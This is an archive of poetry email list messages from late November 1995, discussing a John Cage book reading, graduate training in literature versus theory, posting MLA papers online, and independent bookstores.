Fri 24 Nov 1995

It has been brought to my attn that there is a rather important piece of information missing from this announcement, the date & time, which is

SUNDAY, NOV. 26th @ 8 PM ;)

MUSICAGE/CAGE MUSES ON WORDS. ART. MUSIC: John Cage in Conversation with Joan Retallack

at Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC 20007
ph [redacted]

in Georgetown across from the Biograph theatre.

MUSICAGE features 350 pages of discussions with Cage which range across his career in the arts (plural!). The last of these discussions took place just twelve days before his death. Retallack will also read from _A F T E R R I M A G E S_, her recent book of poems from Wesleyan.

Mail order of signed copies of these books is available (free shipping!) for a limited time. _MUSICAGE_ is $29.95 (cloth), _A F T E R R I M A G E S_ is $12.95 (paperback). Order by phone or e-mail [redacted].

>>support independent booksellers<<
& as always,
B. Y. O. E. (Bring Your Own Ears)

Happy Thanks.

--Rod

& thanks to those that have ordered books.

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323. **Tenney Nathanson**
literal characters and vatic lines
Fri 24 Nov 1995

> *Date: Wed, 22 Nov 1995 22:46:29 -0800*
> *From: Marjorie Perloff <[redacted]>*
> *Subject: Re: Condition of Poetry in the Academy*
>
> *This is in answer to Maria, Keith, Charles Alexander, et al: [. . . .]*

> *At your*
> *alma mater here, the undergrads actually love poetry--all they need is a little exposure. As for the grads, the ones who entered about 5 years ago and are now coming to the job market, HATE LITERATURE, period. They're Puritanical, and the idea of actually enjoying reading anything seems wrong. It's got to do "cultural work." So we have endless dissertations (I just got a list) of*
> *cost accounting in the 18th C and narrative*
> *The brewery and ale house in the 16th C*
> *The Temperance movement and gender*
>
> *Anything, but to have to figure out what the poetic or literary might actually be.*
>
> *But (the good news): the incoming class (which I now teach) is very different. We've just read (in the theory context of the Intro to Grad Studies in which we read Adorno, Benjamin, Barthes, Serres, etc), Bernstein's A POETICS and Howe's THE BIRTHMARK. The class (mostly in Renaissance and 18th C) loved both and discussed them with incredible enthusiasm and argument. So there's hope....*

Marjorie--

obscene though it be in such a workaday context, Benjamin quoting Kafka popped into my head here: "but not for us." Seriously, I'm wondering whether you think your first-year class at Stanford is a fluke, or whether you think you've turned a corner there, and whether you think we might have turned one nationally. I'm reminded of the close-reading/anti-close-reading debate on the list a few months ago, which for several of us who teach had the corollary you traverse in your post: hegemonic methods aside, ahem, it just seems as if a lot of grad students today have no notion at all of how to close read, or of how it might actually open poems up in a way that makes them a lot more interesting. Here at Arizona, where I've been Grad Director for about three years now, the program keeps getting more and more selective: it's nothing like Stanford I'm sure, but we now admit only about 10% of those who apply. And as we get more selective (and I think we do a good job with admissions, with plenty of attention to writing samples, so that we don't let all the real gems slip away) the classes get less interesting, for the reasons you note in your post. There are certainly dramatic exceptions--a couple on this list, both from Stanford and here--but the trend has been pretty grim.

any Rx's out there?

wearing my trousers rolled I guess,

Tenney

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324. Tenney Nathanson
web?
Fri 24 Nov 1995

> *Date: Thu, 23 Nov 1995 10:36:38 -0800*
> *From: "Aldon L. Nielsen" <[redacted]>*
> *Subject: Re: more work for Loss?*
>
> *somebody suggested a possible e-mail exchange among those of us speaking*
> *at MLA and unable to get to each other's panels -- I'd like to see that*
> *-- would it be possible to arrange an address where such longer items*
> *might be posted for general downloading? could also be used to post some*
> *of the very long schedules & other info, with precis posted to POETICS*
> *list alerting readers to its presence at this other address??*

Ron Silliman's ambitious suggestion seemed like a terrific answer: would it be possible to set up an archive of MLA papers by list members? Retrievable via either FTP or the EPC web site? Would it be a lot of work to create such an archive?

Alternatively:

could list members be encouraged to load their essays onto their own accounts, and then to email them to list members who request them backchannel? They'd of course have to post to the list telling everyone they have such and such a paper available.

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325. Loss Glazier
Mon. Night: epclive!
Fri 24 Nov 1995

THIS WEEK ON EPCLIVE ...
11/27 ...
Exchange--
"on
Writing e s "
and i
A n t h o l o g

---------->

"Events" are semi-formal discussions with invited guest(s) and a prearranged topic; "Open Field" is a collaborative improvisation session; "Exchanges" are informal discussions around a general theme.

<----

This first series of happenings on EPCLIVE (the real-time performance channel on the undernet IRC network) will take place mondays from 6:30-8pm EST (11:30pm GMT).

--> For more info http://writing.upenn.edu/epc/epclive
<--

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326. Loss Glazier
Re: more work for loss
Fri 24 Nov 1995

This would be no problem whatsoever!

In fact would be a great use of this space.

All I would need is the texts either
in the body of an e-mail message (preferred)
or
on a diskette
.....
and such a page (downloading site) could be put up very quickly! (We could even call it "Alternatives in MLA 95" or something y'all might think up

Aldon and others, I look forward to hearing from you on this...

> *somebody suggested a possible e-mail exchange among those of us speaking at MLA and unable to get to each other's panels -- I'd like to see that -- would it be possible to arrange an address where such longer items might be posted for general downloading? could also be used to post some of the very long schedules & other info, with precis posted to POETICS list alerting readers to its presence at this other address??*

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327. Loss Glazier
Re: more work for loss (addendum)
Fri 24 Nov 1995

In fact, a list of "recommended" / relevant (to this list) events might also be a useful item to have put up ...

Forwarded message:
> This would be no problem whatsoever!

>...[edited for brevity]
>
> Aldon and others, I look forward to hearing from you on this...
>
> ----------
>
> > somebody suggested a possible e-mail exchange among those of us
> > speaking at MLA and unable to get to each other's panels -- I'd like
> > to see that -- would it be possible to arrange an address where such
> > longer items might be posted for general downloading? could also be
> > used to post some of the very long schedules & other info, with
> > precis posted to POETICS list alerting readers to its presence at
> > this other address??
>

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328. **Michael Boughn**

Re: Question

Fri 24 Nov 1995

> *Is there any place where William Carlos Williams speaks of himself as a poet?*
>
> *Tom Kirby-Smith*

Yes, in an agonized and terrific shreik, at the end of "Desert Music":

I *am* a poet! I
am. I am. I am a poet, I reaffirmed, ashamed.

Best,
Mike
[redacted]

↑ Index

329. **Donald J. Byrd**

Re: literal characters and vatic lines

Fri 24 Nov 1995

Marjorie Perloff:
> > At your
> >alma mater here, the undergrads actually love poetry--all they need is a
> >little exposure. As for the grads, the ones who entered about 5 years
> >ago and are now coming to the job market, HATE LITERATURE, period.

Tenney Nathanson:

> *There are certainly*
> *dramatic exceptions--a couple on this list, both from Stanford and here--but*
> *the trend has been pretty grim.*
>
> *any Rx's out there?*

It seems to me that graduate students are, by and large, learning precisely what they are being taught. It is only necessary to look at the program for the MLA Conference to see that the _literary_ does not get much attention in the profession at large. After all, students write the dissertations that Marjorie mentions because there are faculty ready to direct them.

One might speculate about the reason students and their mentors are more interested in cultural minutiae than literary texts.

Some of the reasons are fairly justifiable. For one thing, there is original research to be done. Of course, there has been a lot written about Shakespeare, Milton, et. al., but I saw a chart some time back of how many dissertations had been written on lesser figures. I do not remember the precise numbers, but there were huge numbers on even the minor figures who appear in anthologies.

Moreover, theory is very powerful and sexy. It is obviously inefficient to read a hundred novels and poems, when you can get it all, conceptually, in three or four books by Foucault and a couple of others.

You _can't_, of couse, but literary people, who tend to be rightfully suspicious of concepts and awkward in their application, have done a lousy job of explaining _why_ you can't. Most proponents of literature appear to graduate students as fuddy-duddies, and I fear that often they are.

In the closing paragraph of _Discipline and Punish_, Foucault notes: "...the notions of institutions of repression, rejection, exclusion, marginalization, are not adequate to describe, at the very centre of the carceral city, the formation of the insidious leniencies, unavowable petty cruelties, small acts of cunning, calculated methods, techniques, 'sciences' that permit the fabrication of the disciplinary individual." And he goes on to say that in all of this, "we must hear the distant roar of battle."

Foucault has articulated a subtle strategy for that battle as he understands, and a lot of people have understandably responded positively.

It seems to me that Foucault is mistaken about the nature of that battle and the logic involved in it, but he makes an attractive argument.

I have been called a "prophet of doom" more than once recently, but the argument for literature (for art in general) and its strategic use in the battle

(which now seems more than a distant roar) has not been widely advanced, and it takes a great deal of redundancy to make any complex argument hearable. And, for the most part, literary people continue to make the argument in terms of the same romantic logic as the culturalists. It is as if there had been no significant _formal_ developments since Marx, Nietzsche, and Freud. Our close readings may be brilliant but we do not point out that the theoretical implications of _Stanzas in Meditation_, _Finnegans Wake_, _Hermetic Definitions_, _"A"_, or "Passages." We have not made clear the strategic value of this activity in the battle.

At any rate, if the students are buying, it seems to me that it must be our fault, not theirs. What are we telling them? What do we have to offer? With all due respect, not a great deal of what passes on this list strikes me as gripping. And I do not mean to be pessimistic. We are not through with the art of this century. I recently saw the Brancusi show in Philadelphia and the Mondrian show in NY, and I am still much inclined to think that they and their literary colleagues make places available that are yet to be inhabited.

Don Byrd

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330. Ken Edwards
Shell
Fri 24 Nov 1995

Ron,

You wrote

"Thanks for writing the letters. Sign me on. Thought you would like to see the response I got from the Shell Website. I reckon they are getting a number of these and answering them in batches. Anybody got the London address??"

Shell International are based in the UK at

Shell Centre
London SE1

Tel 0[redacted]

- Ken

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331. Charles Alexander
Re: web?
Fri 24 Nov 1995

> *somebody suggested a possible e-mail exchange among those of us speaking at MLA and unable to get to each other's panels -- I'd like to see that -- would it be possible to arrange an address where such longer items might be posted for general downloading? could also be used to post some of the very long schedules & other info, with precis posted to POETICS list alerting readers to its presence at this other address??*
>
> *Ron Silliman's ambitious suggestion seemed like a terrific answer: would it be possible to set up an archive of MLA papers by list members? Retrievable via either FTP or the EPC web site? Would it be a lot of work to create such an archive?*

I never thought of this list as necessarily confined to the academy, even if it does originate at a university. So why just MLA papers? If we do it, why not any papers, essays, reviews, by list members. But doesn't the list, or at least the EPC site, already have that possibility built into it? Loss? Ken?

thanks,

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

332. Ron Silliman
Re: Steiniana {corrected}; shelflife
Fri 24 Nov 1995

For myself, I always liked the fact the the Dewey Decimel system classifies poetry as a type of nonfiction, unlike novels and short stories. I would encourage bookstores to shelve poetry along with the other nonfiction books, where it belongs.

--Charles Bernstein

My favorite classification system was the one that Small Press Traffic used when it was still in that small front room in Noe Valley: Men, Women, Fiction.

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333. Tenney Nathanson
Don Byrd's post
Sat 25 Nov 1995

Don--

yes, "we" must be teaching "it" or the students (grad) wouldn't be reproducing it. I do think that a lot of "lit" oriented types are also theoretically fairly current, so it's not fuddy-duddyism type #1 that's at issue. Conversely, Foucault whom you mention (and Derrida certainly!) are incredible close readers (as were, say, Benjamin and Adorno). So it's not theory per se that generates the non-close-reading mindset. otoh one of your other points seems especially telling, and it echoes one recently, I can't recall by whom, about the discipline of "poetics": there may not be enough powerful readings out there that lay out how modern and contemporary literature really bends what it means to read--such that contemporary literature would seem to grad students and other professors to be a powerful alternative to "theory" in terms of understanding what it is we do as readers. Part of the problem, as I have some vague recollection of your posting about, about a year ago, may be that readers of contemporary texts (me too) tend to read them "through" non-literary theory. Not that that's wrong, but it would be useful to have more of a two way street: reading theory through poetry and poetics as well as t'other way round.

anyway at its worst the present period is kind of an anti-Charles-Barkley criticism, or a not-yet-Barkley one: remember those "I am not a role model" ads? When it gets down to carving up the characters into liberatory and repressive role models, it's all over but the counting....

don't mean to sound despairing just polemical,

Tenney

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334. Tenney Nathanson
I hope so
Sat 25 Nov 1995

> *Date: Fri, 24 Nov 1995 17:52:40 -0600*
> *From: Charles Alexander <[redacted]>*
> *Subject: Re: web?*

[. . . .]

> *I never thought of this list as necessarily confined to the academy, even if it does originate at a university. So why just MLA papers? If we do it, why*

> *not any papers, essays, reviews, by list members. But doesn't the list, or at least the EPC site, already have that possibility built into it? Loss? Ken?*
>
> *thanks,*
>
> *charles*

that would be great.

hi there in MN, oh maker of the book!

(but no vigorish)

T.

↑ Index

335. **Rod Smith**
Re: literal characters and vatic lines
Sat 25 Nov 1995

With reference to Don B's post. Seems to me the problem is the logic of justification in operation within institutions. Poetry has to justify itself? (relative to theory or any fk'n thing else)? Poets have to justify themselves? Seems to me authority is what needs to be justified, & in most cases it cannot. This is precisely what isn't happening, & why D.B. is right to be a "prophet of doom."

More directly on the question of theory-- poetry seems to me to articulate at the limits of what can be articulated. To speak in a manner, to offer an experience, to start in the Anti-Oedipal middle, in a manner in which only it can. The most useful philosophy is _always_ very poetic. I wanna know why Andrew Ross isn't more poetic, I mean come on! Deleuze's work on minor literature & "the superiority of anglo-american literature" offer good fodder here for anybody looking to play the justification game.

The word "class" comes to mind. . . but we're in America,
so turn on the TV. . . that's what's doin' the "teaching."

--Rod

↑ Index

336. **Rod Smith**
Re: literal characters and vatic lines
Sat 25 Nov 1995

Don Byrd wrote:
"It seems to me that Foucault is mistaken about the nature of that
battle and the logic involved in it, but he makes an attractive argument."

Don, could you say a bit more about this. "The nature of the battle" as you see it.

--Rod

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337. Ron Silliman
Re: Poetry/Fiction/Literature divisions
Sat 25 Nov 1995

You wrote:
>
>gwyn writes:
>
>
>Danielle Steel (e?) *has* tried her hand at verse. A bright pink book
of
>hers with embossed gold lettering, swooshy caps, the whole bit, sits
in
>the poetry section at my local Borders.
>
>Gwyn
>
>so, who among us will take up the challenge to do for swooshy-capped
poetry
>what jan radway and tania modleski did for harlequins and other
romance
>genres? --md
>
There is a new collection out of the poetry of L. Ron Hubbard (Dianetics, the whole scientology cult, plus a number of sci-fi novels before that). It's called: Ron: The Poet/Lyricist and does indeed have "swooshy caps" at the head of every poem, plus terrific graphics on every page. As a book-object, it reminds me of things I have seen from what I might call the literature of the beloved (take a look at the Marishi's college catalogue even), an immense expense per page.

The poetry itself is pretty much a reflection of its times. In the 1930s (before he created his cult and when he was in fact an ardent unionist and the fulltime activist for the NY Authors Guild), there's a lot of neo-imagist (proto-objectivist?) poetry with a social realist bent, e.g.,

BORED

To sit
And listen
And
Pretend.

The subway is
A droning surf.

To read
And feel
That this
Is just a
Temporary easy
Soon lost.

To sit
And taste
This stale
Cigarette.

↑ Index

338. **Ron Silliman**
Re: Poetry/Fiction/Literature divisions
Sat 25 Nov 1995

Whoa, typo in that L. Ron Hubbard poem.

Temporary easy

should be

Temporary ease

Ron

(now am I going to get snakes in my mailbox?)

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339. **Marjorie Perloff**
Re: POETICS Digest - 23 Nov 1995 to 24 Nov 1995
Sat 25 Nov 1995

This is in response to Tenny Nathanson's posting yesterday: Tenny, you're much too modest. You've trained one of the best grad students we have here--Carlos Gallego--who told me you're the one that opened the world of poetry to him. This guy, who was pegged as a "Chicano Studies person" and more or less expected to take primarily those courses, has been studying German

hermeneutics with Eckhart Forster, Foucault with Medimbe, Charles Bernstein etc. with me, and in general, is doing amazing work. He's always quoting Tenney as the person who got him going...

so Don Byrd is right: much depends on the professor but unfortunately fashion has never been bigger and the fashion is always behind what is happening. Right now the Cultural Studies dissertations are peaking and the new students aren't too interested (5 years after the fact) because these Cultural Studies theses are mostly like pre-New Critical 1930s and 40s historical studies of little minor blips.

John Guillory (Cultural Capital) is writing a new book where he argues that perhaps the main thing we can teach is Reading--that this is something that can be taught and can be USED whatever profession etc. one goes into.

More on that some other time...

Marjorie

↑ Index

340. David Kellogg
Re: more work for loss
Sat 25 Nov 1995

On Fri, 24 Nov 1995, Loss Glazier wrote:

> *This would be no problem whatsoever!*
>
> *In fact would be a great use of this space.*
>
> *All I would need is the texts either*
> *in the body of an e-mail message (preferred)*
> *or*
> *on a diskette*

Ah, for that I'd actually have to finish the paper! Well, OK then, since you asked (and for others -- Marjorie, Ron -- I'll send directly when done or give you (Marjorie) in Chicago), I think this is a great idea.

What about Maria's other gem, that is, Poetics list people who are in Chicago for the circus somehow getting together? That sounds great! When/where, and who will trouble to arrange?

Cheers,
David
~~~
~~~

[redacted] University Writing Program
[redacted] Durham, NC 27708
FAX [redacted]

"Yexplication is yexploration."

↑ Index

341. William \"Uncle Torchy\" Northcutt" <[redacted]>
question
Sat 25 Nov 1995

> *Is there any place where William Carlos Williams speaks of himself as a poet?*

Check out Williams's correspondence with Harriet Monroe, and his argument over the poem which mentions something about, I think, Peace in Heaven, or some such something. He tells her, and I paraphrase: You may not think so, but I AM a poet.

William Northcutt
Englische Literaturwissenschaft
Universitaet Bayreuth
95440 Bayreuth
Germany

[redacted]
fax:(921)553641

↑ Index

342. Donald J. Byrd
Re: Graduate School & the Poetry Cult
Sat 25 Nov 1995

Tenney / Rod:

I am reading Jed Rasula's _The American Poetry Wax Museum_, which is certainly the most important book about American poetry since Kenner's _The Pound Era_. It would hardly be a complement to say it is the best book about American poetry of the post-WW II era. Which is not say that Rasula merely recapitulates the modernist formula, "the age of 'the age of'," as he calls it.

Consider the competition. Rasula provides a very complete bibliography. My point is that the academics have failed even to provide an informed account of the history, to say nothing of sorting out the texts worth reading, or providing a context for serious discussion of the field.

Although Rasula does not make this point explicitly, one constant of the past fifty years of American poetry is that the Professors have been the enemy. And this is true for both 'academic' poets and the 'non-academic' poets. The fact seems to be that the arts and their critics thrive only when they do not require institutional support. One telling point that Rasula makes is that the New Critics almost universally published with _commercial_ publishers. We might well despise them for that too, but it indicates that they were making viable cultural products (i.e. not needing government or corporate foundation subsidy). With the N.E.A. poetry went on welfare, and much of the present malaise in the poetry community is a result of its withdrawal.

This is not to say people who make their livings in universities can not do good work. Every one has to make a living, whether one drives a taxi or teaches poetry, and thus everyone is implicated in the institutions by which, despite ourselves, we end up helping to create the carceral network. In institutions as perfectly conceived as the university, which is far more savvy in imposing itself than the medieval church, even opposition is useful to the _maintenance_ of the structure. Foucault probably underestimates the structural vitality of postmodern institutions, which in fact are _not_ hierarchical in any sense that "proliferation" constitutes a meaningful threat.

Much of my doom-saying has been occasioned by the increasing university domination of poetry, and, as Director of Graduate Studies at SUNY--Albany , I have been fully implicated myself (Tenney, we'll have to have some backchannel professional chit-chat).

I would suggest that the viable model for poetry at this time is the cult. "...what has been lost is the secret of secrecy," Olson says. To be sure, it may have it exoteric forms that can be revealed in the university. Rod was at a gathering of a few poets around my kitchen table a couple of weeks ago, and it seemed like an occasion on which the business of poetry was well served, even though no one was particularly trying to serve it.

Cultures are profoundly conservative. Their very structure, best exemplified by the university, is to preserve what is known and to pass it on to the next generation, while creating the most rigorous obstacles to faddish change. The very survival of cultural unit depends upon weeding out mistaken innovations, and it is culturally preferable, in terms of survival, to lose a hundred useful innovations than to incorporate a serious mistake.

Obviously, in times of profound change--such as crises of overpopulation or uncontrolled technological development-- the cultural institutions, which are always troublesome, begin to fail completely (witness the U.S. Congress, the universities, indeed the family).

Poetry thus might reasonably be an esoteric cult. To be sure, all of the texts are available to any one who wants to find them. It will be an effort, but if one wants to know, it is surely worth the effort to find the texts. And if one does not want to know, no availability of the texts will help; they will not understand.

We can speak openly of the secrets. Only those who _know_ will understand or even hear.

The question is, for us, convened here in secret, What do we have to say? Do we even know what questions we are trying to answer?

Let me suggest some possible questions.

The Malthusian mathematics that a species utilizes as a tool of evolutionary viability sooner or later runs into the finitude of its environment. Or course, for humans, there are a couple of alternatives: escape from the earth into the more or less infinite expanse of stars or the transfer of the human genetic information from a hydrocarbon to a silicon base (this is a serious proposal of Hans Moravec of the Carnegie-Mellon Robotics Lab and numerous others). Prophetic poetry might try to prepare us for these eventualities? Do we have any good work in this direction?

Otherwise, it is possible for poetry to underwrite values that provide an alternative to material growth as a motive for human life? Of course, classically, this is what poetry has done, often scandalously offering access to gods and otherworlds that now seem to have been false promises. Are there values of secular consciousness that we can offer as alternatives to more cars, more houses, more shopping mall junk as values to make life worth living?

The dire fact seems to be that, even by the most optimistic estimates, that we will, if we continue our present path, do irreparable damage to the biosphere within the next century, and perhaps much more quickly than that. What might we offer as value?

Don Byrd

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343. Judy Roitman
Re: BARNES & NOBLE, THE CHAINS
Sat 25 Nov 1995

> *I must admit its great to see BIG poetry sections at the chains (sure beats B. Dalton or Walden Books), but the money we save off list price is a bad invenstment for the long run if the chains are luring us away from the independents.*
>
> *Other thoughts on this?*

This is a difficult issue that manifests itself in many ways (do you encourage the supermarket to stock organic produce, or do you support your local health food store?). "Money we save off list price" isn't really a reason to occasionally buy from chains, but having the books we love available for browsing to people who otherwise might never meet them is.

I too try to give most of my book money to independent booksellers, but the chains' attempts to stock interesting stuff need occasional encouragement, and I don't mind occasionally giving it to them.

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344. Maria Damon
Re: literal characters and vatic lines
Sat 25 Nov 1995

Marjorie Perloff:
> > At your
> >alma mater here, the undergrads actually love poetry--all they need is a
> >little exposure. As for the grads, the ones who entered about 5 years
> >ago and are now coming to the job market, HATE LITERATURE, period.

Tenney Nathanson:

> There are certainly
> dramatic exceptions--a couple on this list, both from Stanford and here--but
> the trend has been pretty grim.
>
> any Rx's out there?
>

It seems to me that graduate students are, by and large, learning precisely what they are being taught. It is only necessary to look at the program for the MLA Conference to see that the _literary_ does not get much attention in the

profession at large. After all, students write the dissertations that Marjorie mentions because there are faculty ready to direct them.

One might speculate about the reason students and their mentors are more interested in cultural minutiae than literary texts.

Some of the reasons are fairly justifiable. For one thing, there is original research to be done. Of course, there has been a lot written about Shakespeare, Milton, et. al., but I saw a chart some time back of how many dissertations had been written on lesser figures. I do not remember the precise numbers, but there were huge numbers on even the minor figures who appear in anthologies.

Moreover, theory is very powerful and sexy. It is obviously inefficient to read a hundred novels and poems, when you can get it all, conceptually, in three or four books by Foucault and a couple of others. Don Byrd

now hold on! i did mean specifically "poetry" v. "fiction," not "lit" v. "theory" or cult studs. I LIKE that historical/"cultural" type work --not the boring, silly, ridiculous kind of course (shakespeare with a twist), but, for inst., Stuart Hall, the new ethnography, etc. --and in my experience and observation, it's a lot easier (tho not more rewarding) to read a few hefty victorians (and "relate" with smarmy piety to the characters in an unreflective way) than to read either a work by g. stein or a slim volume by Foucault. --md

↑ Index

345. Maria Damon
Re: for Maria D.
Sat 25 Nov 1995

---

hi rachel! hi charles! y'all wrote:

> *Maria Damon wrote:*
>
> *did anyone in nyc catch me and charles b on the*
> *radio about a month ago talking about stein's jewishness?*
>
> *Maria: tell us more, please, about this--if it suits you--*
>
> *Rachel Loden*

and/or

what radio program, address, phone, contact, do they offer transcripts or tapes?

charles

well now let's see: was it wnyc? or wabc? one of the two; it was a sunday afternoon show called "beyond the pale," organized by Jews for Racial and

Economic Justice, and it was in early october. Eileen Myles and an elderly artist named Buffy SomethingorOther, who'd known G and A in Paris, were the non-Jewish lesbians participating. This ssession of "beyond" was done in response to a Jewish Gay and Lesbian activist group, who when asked what they'd most like to hear broadcast on Beyond, said, a show for Gertrude Stein. Amazing, since it'd be a stretch to call her an activist in any sense other than as a fairly apolitical cultural radical. I had a good time. I asked the organizer/mc for a tape and she sd she'd get to it when she could. i don't know, otherwise, what their transcript policy is. do you know more, charles b?--maria

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346. **Maria Damon**
Re: The Great Poetry Coverup
Sat 25 Nov 1995

---

aldon wrote:

Harryette Mullen's _Muse & Drudge_ just out from Gil Ott's press!!!

what's the name of Gil Ott's press, for those of us unhip enough to need to ask?--md

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347. **Maria Damon**
Re: Poetry/Fiction/Literature divisions
Sat 25 Nov 1995

---

i wrote:

so, who among us will take up the challenge to do for swooshy-capped poetry
>what jan radway and tania modleski did for harlequins and other romance
>genres? --md

charles a responded:
Susan Bee & Charles Bernstein already have, in The Nude Formalism, although there's much else in that book as well.

charles

to which i respond in turn, sorry, i meant, er, a prose analysis/defense of said poetry, not a poetic satire of it. I like The Nude Formalism (tho I can't find my copy, rats!), but I was hinting at the possibility of --vey is mir --an inquiry into the "cultural work" s-c'd poetry by romance writers accomplishes. i know the c-word (culture, not capped) has a dubious reputation among some folks on the list, but i think it's cool.--md

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348. **Maria Damon**
Re: Mon. Night: epclive!
Sat 25 Nov 1995

loss, help! i think i have web but don't know. i'm spozed to write soemthing on anthologies for mla and wd like to participate or at least get a transcript of the proceedings of ep-clive, but don't know how to get on or to get transcripts!--maria d

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349. **Charles Alexander**
Re: The Great Poetry Coverup
Sat 25 Nov 1995

> *aldon wrote:*
>
> *Harryette Mullen's _Muse & Drudge_ just out from Gil Ott's press!!!*
>
> *what's the name of Gil Ott's press, for those of us unhip enough to need to ask?--md*

Singing Horse Press
& it & Gil & Julia Blumenreich (6ix magazine, but this is probably not the official address fr 6ix) can all be reached at

427 Carpenter Lane
Philadelphia, PA 19119
[redacted]

I also have an address I've had a lot longer for Singing Horse/Paper Air (Paper Air, to me, one of the essential magazines of the last two decades -- no longer with us now), which is perhaps preferred for biz correspondence

P.O. Box 40034
Philadelphia, PA 19106

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350. **Charles Alexander**
Re: for Maria D.
Sat 25 Nov 1995

> *well now let's see: was it wnyc? or wabc? one of the two; it was a sunday afternoon show called "beyond the pale," organized by Jews for Racial and Economic Justice, and it was in early october. Eileen Myles and an elderly artist named Buffy SomethingorOther, who'd known G and A in Paris, were the non-Jewish lesbians participating. This ssession of "beyond" was done in*

> *response to a Jewish Gay and Lesbian activist group, who when asked what they'd most like to hear broadcast on Beyond, said, a show for Gertrude Stein. Amazing, since it'd be a stretch to call her an activist in any sense other than as a fairly apolitical cultural radical. I had a good time. I asked the organizer/mc for a tape and she sd she'd get to it when she could. i don't know, otherwise, what their transcript policy is. do you know more, charles b?--maria*

Sounds like a blast, Maria. When you get the tape could you send an address so I could inquire about a copy or if they might let you copy yours?

We miss you in Minneapolis, where things have been rather quiet. Myung Mi Kim & Mei-Mei Berssenbrugge will be here together in early March for readings/classes/fireside chats -- one of the last things I helped set up in my attempts to be ever so slightly subversive of biz as usual at minn. center for book arts. Hopefully we'll get all local poetics people here together at that time.

bring something of the ocean back here, will you?

all best,

charles

↑ Index

351. **Maria Damon**
Re: Poetry/Fiction/Literature divisions
Sat 25 Nov 1995

---

rrrRon wrrrites:

Whoa, typo in that L. Ron Hubbard poem.

Temporary easy

should be

Temporary ease

Ron

***
ahh. i thought, skimming, it said "temporary essay." thanks for sharing, ron.--md

↑ Index

352. **Maria Damon**
Re: more work for loss
Sat 25 Nov 1995

---

dkellogg (of the panel i'd have loved to be on, judging from the title) writes:

What about Maria's other gem, that is, Poetics list people who are in Chicago for the circus somehow getting together? That sounds great! When/where, and who will trouble to arrange?

*** dk: i've taken it on myself, notoriously poorly organized as i am, to find out what kinds of hotel bars are extant, and figure out one or two times we can designate as a congregational moment --or shd we "take a table" and have shifts of us? if we designate a place and a few times, i figure we can overlap, --any specific suggestions?--maria d

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353. Stephen Galen Cope
Re: question
Sat 25 Nov 1995

I am a poet! I
am. I am. I am a poet...

WCW- The Desert Music

-Stephen Cope

↑ Index

354. Ron Silliman
Re: Question
Sat 25 Nov 1995

> *This may be irrelevant to the current purposes of this list, but I was wondering how a person knows for sure that she or he is a poet?*
>
> *Is there any place where Emily Dickinson speaks of herself as a poet?*
>
> *I suppose that now that Seamus Heaney has been Professor of Poetry at Oxford, and Boylston Professor at Harvard, and has won the Nobel Prize, he may feel reasonably assured that someone thinks he is a poet. It appears that God told Milton that he was.*
>
> *Is there any place where William Carlos Williams speaks of himself as a poet?*
>
> *Stephen Spender once paid a visit to T. S. Eliot at Faber abd Faber, and after he left, Eliot remarked to someone, "He talked a lot about being a poet but he didn't say anything about writing poetry."*
>
> *Tom Kirby-Smith*

> *English Department*
> *UNC-Greensboro*

Tom,

In the late 60's/early 70's, when the conceptual art movement would obviously have had a significant influence well beyond its own borders, some poet said that "poetry is what a poet does." What I don't remember (and it fascinates me that I don't) is whether the poet who said that was David Antin or Ted Berrigan, or if both said essentially the same thing in different contexts.

However, to paraphrase David Antin, "if Seamus Heaney is a poet, then I don't want to be a poet."

Ron Silliman
[redacted]

> *Greensboro NC 27412*

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355. Ron Silliman
Re: web?
Sat 25 Nov 1995

Chax writes,

"I never thought of this list as necessarily confined to the academy, even if it does originate at a university. So why just MLA papers? If we do it, why not any papers, essays, reviews, by list members. But doesn't the list, or at least the EPC site, already have that possibility built into it? Loss? Ken?"

Charles Bernstein and I both have "papers" on our EPC home pages and I think that others do likewise. It's an excellent use of the space, even if the table of contents under each author fails to distinguish between poems and other pieces (willful negation of genre?).

If you are using the footnote feature of your word processing program, you may have to do a little reformatting (very minor) when you convert it into ascii and it is good to indicate _italics_ and *boldface*, since HTML basically still don't do that.

I think everybody should put their works up under authors. In 25, if things continue as they are (thinking of both the Bookchain thread of messages and the long litany of "University as disenabler" of the ability to read and enjoy poetry that we've had lately), something like EPC's home pages will be precisely how poetry exists and gets published in this country. And others. It's a daunting prospect, to say the least. The sooner we think in these terms, the better.

Ron Silliman
[redacted]

↑ Index

356. **Aldon L. Nielsen**
Re: site for sore eyes
Sun 26 Nov 1995

NOBODY said the damned thing should be reserved for "academic" stuff -- In response to a problem (many people at MLA wanting to hear talks they can't get to) somebody asked about posting them --

My suggestion is that we set up an address where these MLA papers AND ANY OTHER LONG STUFF OF INTEREST may be posted for retrieval by any who want to read same -- This would save time-consuming (and for some expensive) paging through on the pOETICS list -- Could start with MLA papers, but would be available for, let's saym anything in excess of 3 pages somebody might want to make available -- "saym"??

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357. **Aldon L. Nielsen**
Re: Muse & Drudge
Sun 26 Nov 1995

Harryette Mullen's book _Muse & Drudge_ is available from
Singing Horse Press
P.O. Box 40034
Philadelphia, PA 19106

according to my copy the price is $12.50

tell 'em aldon sent ya

P.S. -- ignore the blurbs on back of book -- silly stuff meant to move books off of shelves at Barnes & Noblesse, I would imagine --

↑ Index

358. **Marjorie Perloff**
MLA Get together
Sun 26 Nov 1995

Some people have asked when those in this group could get together at MLA.

You are hereby invited to the joint party sponsored by the ACLA (american com lit assoc) and the U-Cal Press in honor of Jerry Rothenberg/Pierre Joris's fabulous POEMS FOR THE MILLENIUM

It's listed in program as "ACLA cash bar," 5.15 PM, 28th, Marriot Hotel. But I believe you'll get at least one free drink and good food and meet your friends. I think J and P will also be saying a few words.

See you there, I hope!

Marjorie

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359. Ron Silliman
Muse & Drudge
Sun 26 Nov 1995

You wrote:
>
>aldon wrote:
>
>Harryette Mullen's _Muse & Drudge_ just out from Gil Ott's press!!!
>
>what's the name of Gil Ott's press, for those of us unhip enough to
need to
>ask?--md
>
Singing Horse Press
P.O. Box 40034
Philadelphia, PA 19106

[redacted]

$12.50 + (I believe) S&H.

This is indeed a great book. Harryette read from it in front of me at Naropa summer before last and it totally blew me off the stage (in multiple senses of that word). Also notable for the blurbers: Sandra Cisneros and Skip Gates.

Ron Silliman

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360. H. T. KIRBY-SMITH
Questions
Sun 26 Nov 1995

I guess my view is somewhat existentialist--that is, one becomes a poet by writing poetry.

Is it possible to be a poet without ever writing poetry?

